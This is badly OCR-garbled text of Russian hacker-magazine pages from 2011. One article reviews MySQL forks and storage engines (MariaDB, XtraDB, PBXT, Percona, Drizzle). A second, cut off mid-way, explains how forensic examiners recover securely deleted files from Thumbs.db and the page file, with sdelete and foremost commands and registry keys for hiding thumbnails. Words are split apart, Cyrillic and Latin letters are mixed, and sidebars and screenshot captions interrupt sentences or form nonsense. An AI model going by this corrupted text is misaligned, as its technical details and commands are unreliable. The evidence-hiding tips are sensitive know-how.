bit.ly/a9B7Gh. набор патч е й , которые после наложе н и я на исходн ы е коды оригинального мускула решают м н о ги е пробл е м ы . Одна ко н е жди их появления в официальном сервере - есл и за стол ько л ет не сподобил ись, то вряд Л И в следующей версии решатся . Разра ботч и к и M a r i a D B же пока свободны от корп орати в н ы х правил и м а р кети н го­ вых огра н и ч е н и й , поэтому новые патчи и и с п равления � i n fo багов п р и н и ма ются достаточно быстро. Если оригинальный мускул держится на двух китах Первым проектом движках хранения данных I n noDB и MylSA M , то M a riaDB молодой компании испол ьзует свои собственные, выступающие п родви­ Oracle была раз­ нутыми заменителями. Движок Aria при шел на замену работка по заказу MylSAM и на деле куда более производителен благодаря разведчиков учетной построчному кэш ирова нию и оптимизированному формату системы, за которую упаковки данных. Если оригинальный MylSAM был быстр на конкурсе другие за счет отказа от транзакций, что означало возможную компании запраши­ потерю данных, то Aria одновременно и производителен, вал и под $2 000 000, и безопасен. За счет улучшенных форматов для хранения а молодой Ларри и нформации M a ri a D B существенно быстрее восстанав­ Элисон заносчиво л ивается после сбоев, не требуя отдельных п роцедур указал сумму всего п роверки да нных после краха . П р инадлежащий Oracle в $300 000. Стоит Л И движок I n noDB заменен на Xtra D B , разработку другой говорить, что проект компании в области БД Регсопа. Последняя известна был провален, зато своими сборками MySOL с и нтегрированными патчами компания получила от Гугла и Фейсбука, а также расширенными инструмен­ стартовый капитал та ми админ истрирования. Команда имеет необычную и начала свое вос­ историю [подробнее ты можешь п рочитать во врезке] и хождение. сейчас активно занимается созданием нового мускула . Для обратной совместимости с MySOL движок Xtra D B в M a ri a D B даже называется точно так же, то есть InnoDB. •

� 02 3


Движок БД - что это такое? Если немного упростить понятия, то база да нных - это обертка вокруг движка х ра н е н и я да нных. Она зани мается приемом запро­ сов и управлением и м и , кэши рованием и проч и м и обслуживающи­ м и функци я м и , обеспе ч и вая работу с н изкоуровневым АРI движка. Последн и й , в свою очередь, собственно и х ра н ит дан н ы е [на диске или в па мяти ) , работает с операционной системой и обеспеч и ва ет выдачу нужных выборок по запросу от сервера. Есл и раньше СУБД [связка «сервер + движок») была монол итная , то теперь во всех системах и спол ьзуется структура с плаги н а м и . Движок в такой о р ган изации является просто модул е м , а сам сервер не за висит от систем ы хранения данных. В последних редакциях классиче­ ского MySQL также испол ьзуется плагинная архитектура. Поэтому встроенный движок I n n o D B [пра вда , обычно устаревшей версии) можно легко заменить на модуль другого п роекта, который часто будет лучше. В альтернати вных мускулу разработках, в том ч исле МагiаDВ или Dгizzlе, все движки изначально выпол н е н ы как пла­ гины. Попробую кратко п робежаться п о совреме н н ы м движкам хранения данных в MySQL-совместим ы х СУБД. InnoDB основной движок для мускула, который с версии 5.5 наконец-то сделали дефолтн ым. Поддерживает транзакции, репли­ кацию, построчную блокировку. Достаточно устойчив к сбоям. MylSAМ очень п роблемный движок, плохо переносящий крах сервера. Не поддерживает транзакци и , н о зато может похвастаться п ол н отекстовыми и ндексами и быстротой работы. Долгое время был станда ртным для всех версий MySQL, а потому до сих пор я вл я ется самым попул я р н ы м . дria з а м е н а для MylSAM с поддержкой транзакций и улучшен­ ной работой с па мятью. Движок гарантирует целостность да нных и при этом не уступает в скорости MyISA M . cvs специализированный движок на случай, когда требуется хран ить и обрабатывать большие массивы строковых данных, раз­ деляемых запятой. Federated/FederatedX этот движок с п е ц и ал и з и руется на п розра ч н о м р а з н е се н и и д а н н ы х п о н е с кол ьким с е р в е р а м [ ф и з и ч е с к и м ) н а у р о в н е табл и ц ы .

-

-

-

-

Н о надо понимать, что на самом деле сохранилось только название, дабы не смущать софт непривычными идентификаторами.

Дополнительные движки

Об ХtгаDВ стоит поговорить более детально: по мнению многи х спе­ циалистов это номер один в мире движок дЛЯ БД. Более того, он обставляет оракловский InnoDB, как маленького : ! . Ключевая фича дол гожданная поддержка многоядерных и многопроцессорных систем, чем ну н и как не хочет [или не может?) похвастаться MySQL. Патчи от Google давно решили эту проблему, но, как всегда, их не удосужились включить в оригинальный движок, поэтому MySQL с точки зрения производительности плетется далеко позади по любым бенчмаркам. Разработчики ХtгаDВ значительно улучшили стратегию использования дискового 1/0, что раньше ограничивало производительность из-за тормозов со сбросом данных на диск из кэша. Соответствующими опциями теперь можно тонко управлять из настроек, что позволяет особо продвинутым админам подтюнить п роизводительность демона самому, не обращаясь к дорогим специалистам по базам данных. Тем более, что из коробки доступна детальная статистика по работе движ­ ка, что сводит на нет потребность в дорогом коммерческом софте для а нализа производительности базы данных. Нужна лишь одна команда SHOW E N G I N E I N N O D B STATUS. И немаловажный момент - скорость восстановления после сбоя : если уж он и случился, восстановление будет не просто быстрым, а почти реактивным, зачастую до десяти раз быстрее, чем в MySQL. А также множество других мелочей: буферы для записей, адаптивные чекпоинты и увеличенное число открытых транзакций. Все это позволит серверу хорошо чувствовать себя в очень нагруженных условиях. Если тебе и этого не хватает, и ты киваешь головой в сторону FiгеЫгd или Роsg геSQL, намекая , что там есть и полная поддержка транзак-

� 024

-

РВХТ призван н ы й з а м е н ить I n n o D B новый движок, в котором реал изованы пол ная поддержка транзакций, многоверсион ность, автоматическа я обработка дедл о ков. Движок опти м и з и рован для бол ьшого кол ичества одн о в р е м е н н ы х тра нзакций. Blackhole служебный движок, п р едставл я ю щ и й собой, п о сути, /dev/nu l l дЛЯ СУБД и фактически н е производя щ и й н и каких записей на диск. И спользуется для р е п л и каци и . Archive движок, кото р ы й м а ксимально быстро работает на запись. И спол ьзуется в тех случаях, когда необходимо хостить бол ьш и е м а сс и в ы да н н ы х . Для эффекти вности хранения исполь­ зуется сжатие , что п р и водит к медлительности во время выборок. Движок хорошо подходит для долговременного х р а н е н и я л о го в и другой служебной информаци и . XtraDB расширенная и исправленная в некоторых проблем­ н ы х местах I nn o D B от ком п а н и и Регсопа. MERGE схожий с Fеd е гаtеd движок для разнесения да н н ых в одн о й табл ице на несколько разных. MEMORY движок, испол ьзующийся для хранения да н н ы х не на диске, а в памяти. И нформация из базы доступна только во время работы сервера, но это дает колоссал ьный п р и рост в про­ изводител ьности. BlitzDB е ще одна замена для MylSAM с хорошей п роизво­ дительностью за счет встроенного построчного кэш и рования и автоматического восста новления после сбоев. Движок не под­ держи вает тра нзакци и . NDB движок для кластера, облада ющий, впрочем, кучей про­ бле м и удручающе плохой производител ьностью. Falcon л е генда р н ы й движок от ком п а н и и MySQL АВ, раз­ рабаты ваемый еще со в р е м е н Sun, когда было п р и нято решение з а м е н ить оракловский InnoDB. SphinxSE полнотекстов ы й движок от создателя п о и с кового сервера S p h i nx. Луч ш и й вариант для пол нотекстов о го п о иска и индексации по правилам русского языка. Л егко о п е р и рует тера­ байта м и да нных, обеспечивая п р и этом все возможности совре­ менной БД.

-

-

-

-

-

цион ной модели и даже MVCC [ М u ltivегsiоп Сопсu ггепсу Сопtгоl конкурентная модель да нных на базе версионности, что позволяет без блоки ровок п роизводить обновл е н и е и чтение одной и той же строки данных) - расслабься. В МагiаDВ доступен движо к РВХТ, который в н екоторых ситуа циях еще более крут, чем все вышепе­ речисленные. П ра вда , тут сразу стоит сказать, что он не такой уни­ версальный и его нужно уметь готовиты РВХТ в основном заточен под бол ьшое кол ичество тра нзакций, которые п ишут или изменя ют данные, п оддерживает быстрый откат и умеет сам разрешать слож-

Хоть и вышла новая версия, но MySQL уже не торт... �

MySQL.

The wond's most popular open aource clatabilS8

-

Free Web Seminars �

t,E\Y Гor ISVs and ОЕ"',: "'ySQI... Enterpnse Еditюn .t.dlМo V.lue to Your Pl'oducts Тhu,l'eblO MySQ!. Esse�ls Part 7; MySQL AclrnW!tratlOn аоо Mill'IlIQl!.mtnt EsstnU/lIS

Tue, F"eb22

� Jigsaw' nl!eded pow« andlleJ!ibilityto

the � Ulst.-

sukt our OO_-.ons wltho\A:

MySQL Refefl!nCl! дrd1lteaurel for />lilSJJVI!Iy SYllIbIe Web Inlтilltr'uctuгe Тhu, Fe24

Products NySQI. EnteQnf' EditIon MvSQL C1uster CGE

MySQL Embedded (OEWISV')

MySQl ln ActlOn

R,esoutCe5

Mv5QL Tra.,.,g

MvSQL Eslenu.la \y.ь.n... '�,

,.,ySQL for Oo1tМ>IS!! Admonr!.tratoв

Try Now

�lySQL 101" Oi!VeIopers

C actU$ on

t

MvSOl Consul!lnO

Мy5QL P"rformanC<l!! TUI'III'IO More Tra\nlf'lO

News & Ev�t5

ХАКЕР 03 / 1 46/ 2 0 1 1


Connectors Na Ive С АР!, JDВC, ODBC, . NEТ, Рн>,

Python, Perl. Ruby, Cobol

MySQL Server Connection Роо'

Au the n U ca tl On -Тh'e �" Reuse

Bad:up 8с ReCDveJY, S.turity Replication. C1uster ,

Adm i nistration.

-

SQL Interfa ce

P arier

Opti ml zer

OML, OOL,

Query Translation, Ob�ct Pnv llege

Acce s:s l>aths,

Stored Procedures \4e ws, Trlggers. е ос.

-

Conne C(lQn U mt ts - Check Memoтy

C�he$

Gl0b3l aoo

Engine Spedfic Cвches &. Buffers

St2t1Jsbcs

Configuration. мq tion,

,

гс Metadata

, - - - - - -- - - - . - . . - - . . _ - - - - - - - - - - _ . _ _

..

_-- _

..

.. . Storage Englnes

_._ . _

PluggabIe

_-_ . . _ - - - - - - � - - - - . - . _ . _ - - - - _ . _ - - -- - - - - - - "

Mtmory. J ndex &. stora� r.1anagement

· • • \ ,

:

, • • , • • , , , ,

' -������ Fil e System

NТFS - NF'$ SДN - r>{AS

Files 8t Logs Undo, Oa t.a , 'мех, 6inary, Еггог. Query, в nd stow

Redo,

Архитектура MySQL - теперь уже как пособие по устройству некогда великой СУБД н ы е ситуа ц и и с блокировками и дедлоками. Н а п ример, если хочешь сделать х ра н и л и ще л о гов, то у тебя будет огромное количество операций записи в таблицу, но сравн ител ьно мало чте н и я . В то же время, если кто-то все-таки захочет сделать выборку из БД, он получит максимал ьно свежие да н н ы е , не мешая при этом записи новых. И для совсем уж извра щенцев есть движок FederatedX, умеющий распределять табли цу дан н ы х на н есколько физических серверов, а также OQGRAP H , оптимизированный для хранения иерархических структур, графов и деревьев. П одход, идеально под­ ходящий для создан и я клона Facebook и В Контакте, где требуется работать с социальным графом отношений между л юдьм и , что пло­ ховато вписывается в типичную модель баз данных.

Откуда взялась Percona? Жила была ком п а н и я Регсоп а , которая з а н и малась консал­ ти нгом в области производительности баз дан н ы х. Тол ков ы е ребята б ы стро осоз н а л и , что на одном только консалт и н ге м н о го не заработа е ш ь , и начали спонси ровать разработч и ко в , з а н и м а в ш ихся создан и е м альтернативы д л я о р и ги нальной MySQL. Успеху этой затеи способствовало то, что сами же спецы из Регсопа п о н и ма л и п робл е м ы текущей ветки MySQL ка к н и кто друго й . Чуть позже ком п а н ия стала в ы пускать свою версию сервера, в кл ючая туда н е кото р ы е сто р о н н и е патч и и п родви гая своим кл и е нта м уже исправл е н ную сборку. П р и этом Регсопа не идет на поводу у корпораций и все е ще п редлагает версию 5. 1 , которая с использован ием набора патчей обгоняет по скорости даже н о во модную 5.5, разрекл а м и рова н ную O racle . З а мечател ь н ы й движок РВХТ, о котором М Ы говорили в статье, как раз спонсировался и в ы рос в закромах Регсопа. А казалось б ы - скром н ы е ребята, котор ы е з а н и м а ются консалти н го м .

ХАКЕР 03 / 1 46/ 20 1 1

\УеЬ Snvщs)

MySQL Snvn(s) MySQL ирр« lay«

. using Handlcrsockd сlittШ; 10r siшрlelfаst optrations

SQL SlalC'lI1cnts (Complex qum6 DDL othcrs) <j= = = � � pon 3ЗОб DBD::MySQL or othtr MySQL c:lienls

. USdl8 r�lar MySQL APls o.f contpltx Qlltries

AC:Cq1ting MySQL Prolocol SQL Pomnв �TaЫe Мaking Quay PI .... Ro\y Ас:сeзs

QоsшgтIые

Rduming resuhs

AccqJling нз Prolocol Ro\v AC'CtSS Retumulg resutcs

Randlenocket daemon рlug.iп

Архитектура Handlersocket-a, системы доступа к InnoDB движку как к NoSQL хранилищу. Может и фигня, но вдумайся, 750 000 запросов в секунду

Cloud Computing Разработч и ки другого проекта - D rizzle - пошли п о н е м н о го другому пути и р е ш и л и вообще п е реосм ысл ить м есто базы да н ­ н ы х в и н фраструктуре т и п и ч н о го п р ое кта . В с п о м н и л и , что сейчас модно: cloud соmрutiпg, Google Proto B uffers, масштаб и руемость, м н о гоядерность и прочее. И подумал и : база да н н ы х также должна д в и гаться вместе с совре м е н н ы м и техн ол о гия м и , а не плестись в конце, в н е зависи мости от того, что на н е й крутится - бло­ гов ы й движок или круп ная корпорати вная С R М -система . П од шумок было решено уп ростить фун кционал о р и ги нальной MySQL, выкинув тя нущиеся из релиза в рел из возможности , кото р ы е в

� 025


NoSQL-треНА Ты наверняка знаешь о новомодном тренде NoSQL. По сути, это отказ от традиционного сервера базы данных с его табли ца м и и SQL-запроса м и и уход к самой п ростой схеме хранения да н н ы х « кл юч-значение» (key-va lue). Д л я реализации последнего часто испол ьзуются п родви нутые типы дан н ы х вроде с п исков/хэшей (в Redis) или, например, формата JSON ( в MongoDB). Н о что меша­ ет с крестить удава и ежа, испол ьзуя, с одной стороны , всю мощь и годам и отработан ную технологию баз дан н ы х и и х движков, а с другой - упроще н н ы й п ротокол и отказ от громоздкой п рослой­ ки В виде обработки SQL -язы ка запросов? Суровым наследни­ ка м самураев не помешало н ичего : японские парни из Yoshinori M atsunobu сделали плагин HandlerSocket, п ревращающий стан­ дартн ый движок I n no D B в продвинутое NoSQL-хра н ил и ще, не мешая п р и этом работе обычного SQL. Скорость работы впечат­ ляет: до 750 000 операций в секундуl Неудивительно, что компа­ ния Регсопа сразу же взяла на вооружение этот плаги н , включив его в свои сборки сервера. Круто ! Но, с другой стороны, как еще если не костылем можно назвать решение, которое и м ити рует то, что у нормальной БД типа Drizzle реал изовано прямо из коробки в силу внутренней архитектуры?

действительности мало кому нуж н ы . С и стема утратила поддержку U N IX-сокетов (это хотя и спорное, но в полне допустимое решение ввиду н а п ра влен ности на облач н ы е среды) и версию для Windows. В Drizzle нет н и каких служебных баз и м н о г и х других п р и в ы ч н ы х вещей. Н о что ж е тогда есть? А есть архитектура с м и кроядром , в которое вынесены все основ­ н ы е операции и поддержка протоколо в , а также система плагинов, позвол я ю щая расши р ить с и стему в любую сторону и на л юбую глу­ б и ну. В качестве одной из основ н ы х систе м н ы х компонент и с п оль­ зуется бинарный п р отокол от Google - Protocol B uffer. С его помо­ щью описы ваются как табл и цы , та к и да н н ы е , о н же п р и м еняется и для репл и ка ц и и . Основной упор в разработке сделан на м а кс и ­ мальную поддержку м ногопоточности и много п роцессорности, та к что масштаб и руемость - это основное достижен и е разработч и ко в . Реализована поддержка как ста ндартного MySQL-п ротокола , та к и собственного в а р иа нта - ч е рез б и бл и отеку libdrizzle и драйвера для бол ь ш и н ства п опуля р н ы х я з ы ко в , включая Perl, Р Н Р , Pyth o n и Lua. П р и жел а н и и м о ж н о и спользовать кл и ентскую б и бл и отеку и без самого сервера : в этом случае ты получ и ш ь эффекти вн ы й а с и нхрон н ы й доступ к л юби мому MySQL. Поскольку эта же ком п а н и я разработала и систему Gearman !см. наш материал о распредел е н н ы х системах на Р Н Р) , то в D ri zzle есть встроенная

Drizzle благодаря простой микроядерной и магинной архитектуре умеет многое

I

.

\

:. . ..

. . ....

::�::: ::� i Rosh/DRAM SSD

.............- ......... ................................ :

� 026

.

Есл и ты обеспокоен развитием MySQL, тебе не нра вится пол и ­ ти ка Oracle и т ы спра ведл и в о опаса ешься, что завтра тебя обя­ жут платить за фун кционал, кото р ы й еще вчера был бесплате н , посмотри вокруг. Сообщество отреаги ровало на п о купку MySQL как на начало за ката технологи и , н екогда в ыведшей современ­ ный веб на недостижимую высоту благодаря стеку LAM P (Linux­ Apache- МуSQL- Р Н Р ) . Кл ючевые разработч и ки начали развитие собств е н н ы х форко в , некото р ы е из которых уже сейчас на голову п ре восходят ста р ы й MySQL. За н и м и стоят многие з на ковые ф и гу­ ры и открытое сообщество. Сделав все по уму, разработч и ки уму­ дрились оставить 100% внешней совместимости с п риложе н и я м и и п ротокол а м и . Поэтому все желающие поста в ить н о в ы й сервер не окажутся у разбитого корыта : дан н ы е сохра н ятся , а п р иложе н и я не п ридется переписывать. М ногие вообще н е заметят р а з н и ц ы , к р о м е возросшей скорости работы и надежности . Уже сейчас ты можешь замен ить свой сервер баз да н н ы х , та к что и меющиеся п р ил ожения даже не п очувствуют разн ицы, получ и в п р и этом гораздо большую скорость работы , надежность и массу недосту п н ы х в о р и ги нальном мускуле ф и ш ек. M aria D B с набором движков - отл и ч н ы й вариант для старта . Ну а если ты задумал грандиозн ы й проект с бол ь ш и м кол и чеством серверов и гигабай­ там и да н н ы х, посмотри на Drizzle. Ка к п рогра м м н ы й п р одукт и как сервер баз дан н ы х он я вл я ется очень перспективной разработкой, которая обязательно выстрел ит уже в этом году. Есл и же хочется стабильности и поддержки сам ы м и луч ш и м и специал истам и п о б а з а м да н н ы х - не бойся отвернуться о т O racle и п ойти к Регсопа. Ребята раздают бесплатно свою версию СУБД - и сп равляя, насколько это возможно, баги и добавляя ф и ч и для увел и ч е н и я производительности оригинального MySQL, н е н а рушая п р и этом совместимости. Ты все еще с ид и ш ь на старен ьком мускуле? Тогда мы идем к теб е ! :х:

СУБД, ориентированная на облачные системы,

распределенные и быстрые DQCIJI11entation

Development

. 1.=..................................................:

Blogs

Wiki

FAQ

Twitter

А Ughtweight SQL Detabese for

DrizlIe plugin for

['р��i';i�'�i'si��g�'Dё�iё;;;" " " " " "" ''''''i

I

Делаем выводы

Dгiпlе Query Cache Plugin Exa mple

"O,:::o: �:::i;;';;;�;;:;���h;;d'H�ii�j' ' ' ' ') I == ": -

поддержка логирова н и я в распределенной среде, нативное кэши­ рова н и е в memcache и даже та кие п родви нутые возможности, как репл и ка ци я через с и стем ы сообщен и й типа R a b b i t M Q ( и с п ользу­ ется в том ч исле н о вомодная технология WebSocket) В качестве основного движка х р а н е н и я да н н ы х в Drizzle и спол ьзуется осо­ бая версия I n n o D B , знач ител ьно переработа н ная и допол н е н ная набором сто р о н н и х патч е й . Также доступны движки Xtra D B и рвхт. Есл и первые верс и и Drizzle основы вал и с ь на MySQL 5.0, то теперь от ориги нальной СУБД осталось н е мн о гое. Это почти полностью переписа н н ы й код с м и н и мальной оглядкой на б ы в ш и х родстве н ­ н и ко в . Н а да н н ы й м о м е н т разработка Drizzle п ребы вает в а ктив­ ном состо я н и и , и к весне пла н и руется первый стабильный рел из.

Cloud аnd Web

Overvlew OrizzJe is а commo-dliven oity open source projectthaI is fonted from the popt.iar МySQL c:tatlbase.

The Orizzte {еат has removed nOn-eSSentiaI code, re-lactored lhe remaining сode and moderrМzed the code bгse П'IO'Мg 10 С++. Drlul4t D8v81otМr Day 2011 • April 15th - Slan up".,...

Д dll8base optmzecl 1or CIOUCI infrasttutllA anCI Web applic860ns Design lor massive concurrency on modem muIti-сpu arc�ectUfe Optmze memory lor increased petforтnance and par*lism open source, open community, open Clesign Chln'r

• • • •

$с.... • R� mOdUIar archйесl\,l"е providng pk,Igins wth defned APts • SImpIe design (or ease r:A use and 8dmIntstration • Rellable, АСЮ transactional

TMsкtlot! Loo Qu*' Ind th, troortJnc, of QA · h,ttD:J/clshrt:wIOury.bl!)vl... �сOV' .,...ч �ttd ctrll1ll.Ofo ltomt�e· 1IIY r..dblck1 htts:1:J/clnuJt.orvlHome....

: 4;".,. . ....,

AoIiI. Iwt thi5 ti'n1 � our new ЬооН . htФ:I/www.lnIЩ.dLсо.... J ""... .,. ·'m

� 1:

OWIO' ofOrtl:zlt Ьоо · hЩl:J/J.rтc /hbwFFx Yil OAddToAny

...

)" r � · rWt nnm. )n l '.nl.nJII �hM h,.,." Joi1 th , con�

ХАКЕР 03 / 1 46/ 2 0 1 1


• • Антон «Ant» Жуков lantitsterfёlgmaiL.coml

v

ФАИЛЬ I-ПРИЗРАКИ, ИЛИ ОХОТНИКИ ЗА ПРИВИДЕНИЯМИ

Как к р и м инаn ист ы/ о сста н авn ива ют надеж но . уда лSн ные данные .

С)

Для следователя, п роводящего анализ компьютера подозреваемого, удаленные ф а й лы всегда представляют осо б ы й интерес. Н екоторым кажется, что если перезаписать о б ласть, где находились данные, случа й ными значениями, то восстановить уже ничего не удастся. З то правда, но ли ш ь отчасти. Д аже после тако й перестраховки ф а й лы нередко удается извлеч ы

� 028

ХАКЕР 0 3 / 1 46/ 2 0 1 1


'Зl :;::-:=,

tJ �··skte5hcм !Э Orderpmts;«*Ie � Prrt this pichп.

Что п р о и сходит п р и удал е н и и файла? О ч е н ь П Р ОСТО : В файловой с и стеме для н е го м е н я ется оди н атри бут, и та ким образом он п о м е ча ется ка к удал е н н ы й . При этом содержа н и е файла п о - п режнему остается на жестком диске, и е го можно восста н о ­ вить с помощью о д н о й и з м ножества плат н ы х и бесплатных п ро­ гра м м ( н а п р и м е р , R - S t u d i o ] . Мы м н о го раз п исал и о то м , как без­ опасно удалить ф а й л ы без воз м ожн ости восста н о вл е н и я . Б л а го для этого разработа н о огромное кол и чество утил ит- ш реде ров, кото р ы е с помощью н еслож н ы х метод и к п ереза п исы вают участки диска , на кото р ы х были расположе н ы удал е н н ы е да н н ы е . Та к и м о б р а з о м даже п р и и сп ол ьзо в а н и и технологий восста но вл е н и я , п р и кото р ы х п р о изводится с ч итыва н и е да н н ы х н е п осредственно с м а гн итн ы х н осител е й , восста н о в ить удал е н н ы е файлы будет н евозможн о . В эффекти в н ости такого подхода н а с заверяли даже н а стоя щ и е п рофесси о н а л ы в области восста н о вле н и я да н н ы х . Н о - л а з е й к и д л я и з вл е ч е н и я и н ф о р м а ц и и у гуру все-та ки есты

Фа йлы изоб ражени й

Начнем с рассмотрения п ростого случая - удаления обычной фотографи и . Допусти м , у нас есть папка с фотографиями, и мы избавляемся от одной из них. Причем удаляе м по всем п равилам, переза п исав нужную область диска несколько раз. П о идее больше н и ч е го не должно выдавать ее существова ния (если мы сам и до этого не скопировали ее в другую папку и не забыли про это] Но тут-то ка к раз многие и забывают об одной особенности Windows - файле Thumbs.db. Это специальное хра н ил и ще, испол ьзуемое операционной системой, в котором находятся эскизы изображе н и й

I t\

f:J ""M.slicill shcм @ OI'der prrts arfne

� Pml: tНs pictue :j. Set�desItop ....... � СОруtoСО

!iI � tНs Не fa Joboiett"isfle IQ ""' ... ... e �lНI:f"tott. S t:_tНsffe )( OМU!his:"

'/ ""-

, .=]

Первоначальное состояние - число изображений совпадает с числом эскизов в файле Тhumbs.db ХАКЕР 03 1 1 46/ 20 1 1

.. _flll*r ,....

!!I ��'" � НoYethisfle D ""'''' '''

Nillh ttis: Нetothe

S E-N&tt"isrk

*

ф ф l ... ...

)( Dektettis Нe

Изображение уже удалено, а эскиз остался

Удаление картинки с предварительной перезаписью при помощи программы sdelete

GJI ��

.... SYSТEН(Ii:) """",,,И

� S8t:f$� -""" � c.op,otoCD

из текущей папки. Если в проводнике выбрать режим отображения «Эскизы страни ц», то операционка будет брать уменьшенные п ре­ вьюшки изображе н и й ка к раз из этого файла. Он создается в каждой папке, в которой есть картинки, и содержит уменьшенные эскизы изображе н и й в формате J PEG (вне зависимости от формата исходно­ го изображе н и я ] . П р оведем небол ьшой эксперимент - создади м п а п ку и поместим туда три л юбых картинки. Теперь откроем эту ди ректорию в п рово­ днике - появился Thumbs.db (чтобы увидеть этот файл, надо вклю­ ч ить отображе н и е скрытых файлов]. Мы можем просмотреть и п ро­ а нализировать е го с помощью утилиты Thumbnail Database Viewer ( itsаmRlеs.соm/th u mЬпаil-dаtаЬаsе-viеwег. html] . П рогра мма, ка к и положено, показывает эскизы для всех трех файлов. А теперь уда­ л и м один из н и х с помощью п рогра м м ы SDelete (tech n et.m i crosoft. com/ru -ru/sysi nterna ls/bb897443] или л юбой другой програ м м ы для безопасного удаления данных: sde l e t e . ехе -р 2 f i l e l . j pg Пара метр -р отвечает за кол и чество проходов шредера, то есть указывает, сколько раз файл будет п ереза писан п еред удале н и е м . В резул ьтате изображе н и е будет безвозвратно стерто с жесткого диска. Но посмотр и м . повлияло ли ка к-то это удале н и е на Thumbs.

� 029


db? Заново открываем е го , и что М Ы видим? Эскиз для удаленной карти нки по-п режнему на Mecтel Получается, что файл легко может содержать эскизы уже удаленных изображе н и й . И на это м , ка к мне рассказывали, попался не один ум н ы й человек.. Как этого избежать? Очень просто - нужно отключить кэш и­ рование эскизов в файлах Thumbs.db. На Windows ХР необхо­ димо установить для кл юча DisableThum bnailCache в разделе Н КЕУ_C U R RE N T U S E R\Softwa re\M i c rosoft\Windows\Cu rrentVersion\ Explorer\Adva nced значение « 1 ". В Windows 7 этот ключ и меет и м я N oTh umbnailCache и находится в H KEY_C U R R ENT_USER\Software\ M i c rosoft\Windows\CurrentVersion\Policies\Explorer. И , само собой, важно не забыть удалить все Thumbs.db.

"'-"""" '''-'''' '''-'''''' '''-'''''' '''-'''' "'-"""" '''.PWQRO R!G.PWQRO R!G.PWQRO "О-"""" "О-"""" R!G.PWQRO "'-"""" "О-"""" "О-""""

Отключение кеwирования эскизов в файлах Тhumbs.db

_

П равда и ми фы о магнитно й микроскопии Очень часто л юди впадают в две край ности. Одн и откровенн о забивают на свою безопасность и хранят на в и нте всю ком промети рующую и нформаци ю, будучи уверен н ы м и , что <Shift+Delete> их спасет. Другие же, наоборот, каждый день затирают в и нт и за ново устанавл и в а ют операционку. Быть может, я утри рую. Тем не менее, довольно часто приходится ч итать в Сети споры о том, сколько же раз надо перезап исать винт, чтобы информацию невозможно б ыл о восстановить. П редлагаю оп ытны м путем выясн ить, хватит ли одной полной перезаписи, чтобы безвозвратно удал ить все дан н ы е . Итак, опять возьмем нашу подопытную флешку и п ол н остью переза­ п и шем ее нул я м и , после чего отформатируем в NTFS. ДЛЯ про­ верки закинем на нее какой-нибудь файл : пусть это будет опять же J PEG. Его легко можно найти в Win Hex"e п о с и гнатуре « jfif» . У меня он расположился по смеще н и ю 274432. Ну что ж, запустим шредер lя юзал Н О О Wipe Tool) и затрем весь диск. Теперь, если посмотреть в Wi n Hex, что расположилось п о смещению 274432, то мы увидим только нул и . Для успокоения и большей уверен­ ности можно поп робовать восстановить дан н ы е с помощью DiskDigger, Photorec, Foremost и п рочих утилит. Н о это заведомо пустая трата времени - н и чего у н и х н е в ыйдет. « Хорошо, - скаже ш ь ты , - а ка к же насчет серьез н ы х п риборов, и м еющихся у компетентн ых органов, кото р ы е умеют восстанав­ л и вать дан н ы е?» Ну что ж, да вай поговорим о магнитной м икро­ с ко п и и . Суть метода в том , чтобы оп ределить состояние каждого бита до его перезап и с и . То есть, был ли он равен един и це или нулю. Возьмем текст в кодировке ASC I I . Каждый сим вол коди­ руется восемью бита м и таким образом, что если даже всего оди н бит восста новлен неверно - получается совсем другой символ. Н а п р и м е р , есть последовательность с имволов « anti» , в ы глядящая в бинарном виде следующим образом: 0 1 1 0000 1 0 1 1 0 1 1 1 00 1 1 1 0 1 000 1 1 0 1 00 1 . П редполож и м , что магн итная м и кро­ ско п и я правильно определила все биты, кроме последнего - в результате такого восста новления м ы получаем последователь­ ность « a nth» . Н еувязочка получается. И это мы говорим о про­ стейшем текстовом файле. Представь, что будет в случае со структури рова н н ы м и формата м и - та к и м и как архивы, файлы БД, исполняемые файлы и так далее. Вдоба вок к этому метод достаточно медл е н н ы й и дорогой. Так что во м ногих случаях использование ма гнитной м и кроско п и и дает такой же точ н ы й результат, ка к и восстановление путем подбрасывания монетки на « орел - р е ш ка » . Поэтому нет н и ка кой необходимости по три раза перезаписы вать диск.

� 03 0

Исследование содержимого файла подкачки при помощи Foremost

Фа йл подкачки

П одста в ы со сто р о н ы о п е р а ц и о н н о й с и сте м ы на о д н о м тол ь ­ ко ф а й л е с э с к и з а м и н е з а ка н ч и в а ютс я . П о м е р е р а б от ы с докуме нто м и н ф о р м а ци я о н е м п о падает в р а з л и ч н ы е ч а сти О С - в р е м е н ную п а п ку, р е е стр и та к д а л е е . П о этому о ч е н ь труд н о отследить и удал ить в с е с в яз а н н ы е с ф а й л о м д а н ­ н ы е . В д о б а в о к к о в с е му, есть м е ста , где ко п и я ф а й л а м ожет о ка з аться с о в е р ш е н н о случ а й н о I и н о гда та к а я случ а й н о сть м ожет сто ить о ч е н ь д о р о го ) . Я го в о р ю о ф а й л е п одка ч к и I pa g e f i le.sys) и с в о п е п а м я т и , и с п ол ьз у е м о м в о в р е м я р е ж и ­ ма H i b e r n a t i o n I h i b e rf i l . s y s ) . П р ед с к а з ать содерж и м о е ф а й л а подка ч к и з а в едо м о н е в оз м ожн о , и тут н и кто н и ч е го н е м ожет га р а нт и р о вать. П редл а га ю е ще на одн о м э к с п е р и м е нте убе­ диться в то м , что это - о п а с н о е м есто . П о с кольку п росмотреть и л и с к о п и ровать файл п одка ч к и опера­ ц и о н н а я с и стема п р о сто та к не дает, то у нас есть два в а р и а нта : задействовать с п е ци а л ь н ы е утилиты и л и же за грузиться в другую о п е р а ци о н ку и п олуч ить доступ к файлу из н е е . М н е второй с п о ­ с о б п о казался б о л е е просты м , та к как п од рукой был Back Trac k , нач и н е н н ы й разл и ч н ы м и ути л ита м и , в то м ч и сл е и для восста ­ н о в л е н и я файлов. П о этому, загруз и в ш и с ь с Live C D , я смонтиро­ вал в и ндовый раздел и п о ш ел в раздел « Вас kТгасk-7 Fо ге п s i с » , откуда за пустил утилиту Foremost. Эта з а м ечател ьная консольная п ро га умеет восста н а вл и вать файлы и сходя из и х з а головков и внутре н н е й структуры . Н еобход и м о л и ш ь передать и м я входно го файла, в котором будет осуществляться п о и с к , и указать д и р е кто­ р и ю , куда будут сохра н е н ы все найде н н ы е да н н ы е : # f oremost

-i

/mnt / hd a l /page f i l e . sy s

De sk top / page_ f i l e

-q

/ root /

